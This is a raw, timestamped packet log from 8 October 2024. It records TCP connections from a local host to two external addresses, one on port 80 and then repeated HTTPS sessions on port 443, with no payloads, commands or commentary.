Oct 8, 2024 00:20:24.908112049 CEST	80	49773	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:24.908133030 CEST	80	49773	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:24.908315897 CEST	49773	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:24.908756971 CEST	49773	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:24.915139914 CEST	80	49773	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:24.919375896 CEST	49774	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:24.926388025 CEST	80	49774	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:24.926455021 CEST	49774	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:24.926609993 CEST	49774	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:24.926647902 CEST	49774	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:24.933085918 CEST	80	49774	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:24.933098078 CEST	80	49774	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.072292089 CEST	80	49774	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.073105097 CEST	80	49774	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.073160887 CEST	49774	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.073201895 CEST	49774	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.075565100 CEST	49786	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.081439018 CEST	80	49774	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.081979990 CEST	80	49786	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.082036018 CEST	49786	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.082185030 CEST	49786	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.082211971 CEST	49786	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.088792086 CEST	80	49786	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.089822054 CEST	80	49786	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.857687950 CEST	80	49786	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.857937098 CEST	80	49786	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:26.858012915 CEST	49786	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.858695984 CEST	49786	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:26.864702940 CEST	80	49786	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:41.783073902 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:41.783128023 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:41.783204079 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:41.784118891 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:41.784128904 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.421853065 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.421941996 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.465266943 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.465306997 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.465643883 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.514138937 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.521107912 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.524132013 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.524182081 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.888169050 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.888226032 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.888247967 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.888293028 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.888362885 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.888398886 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.935998917 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.936026096 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.970452070 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.970467091 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.970499039 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.970527887 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.970546961 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.970558882 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.971563101 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.971571922 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.971596003 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.971613884 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:42.971625090 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:42.971637011 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.009201050 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.009213924 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.009253979 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.009269953 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.009284019 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.020381927 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.020395041 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.020436049 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.020445108 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.020458937 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.020471096 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.053457022 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.053476095 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.053519011 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.053574085 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.053591967 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.053605080 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.054814100 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.054826975 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.054857016 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.054868937 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.054894924 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.054898024 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.059819937 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.059832096 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.059878111 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.059886932 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.087281942 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.087296963 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.087387085 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.087400913 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.091437101 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.091445923 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.091479063 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.091516972 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.091526985 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.091545105 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.103697062 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.103708029 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.103774071 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.103787899 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.104811907 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.104821920 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.104876995 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.104882956 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.120507002 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.120521069 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.120584965 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.120639086 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.136442900 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.136455059 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.136506081 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.136533022 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.154228926 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.154241085 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.154277086 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.154299974 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.154340982 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.154359102 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.155324936 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.155339003 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.155359030 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.155376911 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.155395985 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.155416965 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.171252012 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.171289921 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.171328068 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.171349049 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.171427011 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.172234058 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.172255039 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.172295094 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.172303915 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.172317982 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.174372911 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.174422026 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.174441099 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.174455881 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.174470901 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.175877094 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.175936937 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.175951004 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.186417103 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.186481953 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.186501026 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.186866999 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.187019110 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.187027931 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.192147970 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.192231894 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.192241907 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.193258047 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.193312883 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.193321943 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.201670885 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.201744080 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.201752901 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.219782114 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.219893932 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.219907999 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.220705032 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.220748901 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.220755100 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.220771074 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.220792055 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.221436977 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.221477985 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.221491098 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.222600937 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.222651958 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.222661018 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.224287033 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.224342108 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.224351883 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.236702919 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.236787081 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.236798048 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.252213001 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.252304077 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.252315044 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.252480030 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.252516031 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.252528906 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.252537012 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.252557993 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.253504038 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.253560066 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.253570080 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257504940 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257587910 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.257601023 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257673979 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257715940 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.257725954 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257759094 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.257775068 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257812977 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.257900953 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.257922888 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.257935047 CEST	49882	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.257941008 CEST	443	49882	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.287370920 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.287503004 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.287590981 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.287872076 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.287900925 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.854357958 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.854463100 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.855832100 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.855845928 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.856086969 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:43.856884956 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.856901884 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:43.856945038 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.200854063 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.200958967 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.201345921 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.201522112 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.201522112 CEST	49890	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.201577902 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.201601028 CEST	443	49890	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.229912043 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.229939938 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.230273008 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.230902910 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.230914116 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.954874992 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.954953909 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.984823942 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.984843016 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.985132933 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:44.985871077 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.985896111 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:44.985940933 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.235549927 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.235620022 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.235786915 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.235788107 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.236061096 CEST	49898	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.236077070 CEST	443	49898	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.239341021 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.239381075 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.239522934 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.239823103 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.239840984 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.839479923 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.839622974 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.840869904 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.840881109 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.841135979 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:45.842032909 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.842032909 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:45.842055082 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.119306087 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.119374990 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.119570971 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.120001078 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.120001078 CEST	49902	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.120017052 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.120026112 CEST	443	49902	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.122335911 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.122380972 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.122450113 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.122736931 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.122752905 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.706161976 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.706233978 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.707320929 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.707325935 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.707566977 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.708461046 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.708484888 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.708488941 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.993441105 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.993525028 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.993604898 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.993652105 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.993674040 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:46.993690014 CEST	49913	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:46.993696928 CEST	443	49913	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.003046036 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.003096104 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.003158092 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.003515005 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.003528118 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.581027985 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.581142902 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.582326889 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.582338095 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.582633972 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.583441019 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.583636999 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.583642006 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.872386932 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.872458935 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.872607946 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.872607946 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.875511885 CEST	49919	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.875511885 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.875540972 CEST	443	49919	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.875554085 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:47.875653028 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.876033068 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:47.876041889 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.531354904 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.531444073 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.533108950 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.533116102 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.533384085 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.538506985 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.538652897 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.538659096 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.815789938 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.815855980 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.815982103 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.819400072 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.819400072 CEST	49925	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.819421053 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.819426060 CEST	443	49925	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.967482090 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.967525005 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:49.967606068 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.967969894 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:49.967983007 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:50.758013010 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:50.758080006 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:50.759414911 CEST	49931	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:20:50.759423971 CEST	443	49931	23.145.40.168	192.168.2.4
Oct 8, 2024 00:20:50.759665012 CEST	443	49931	23.145.40.168	192.168.2.4
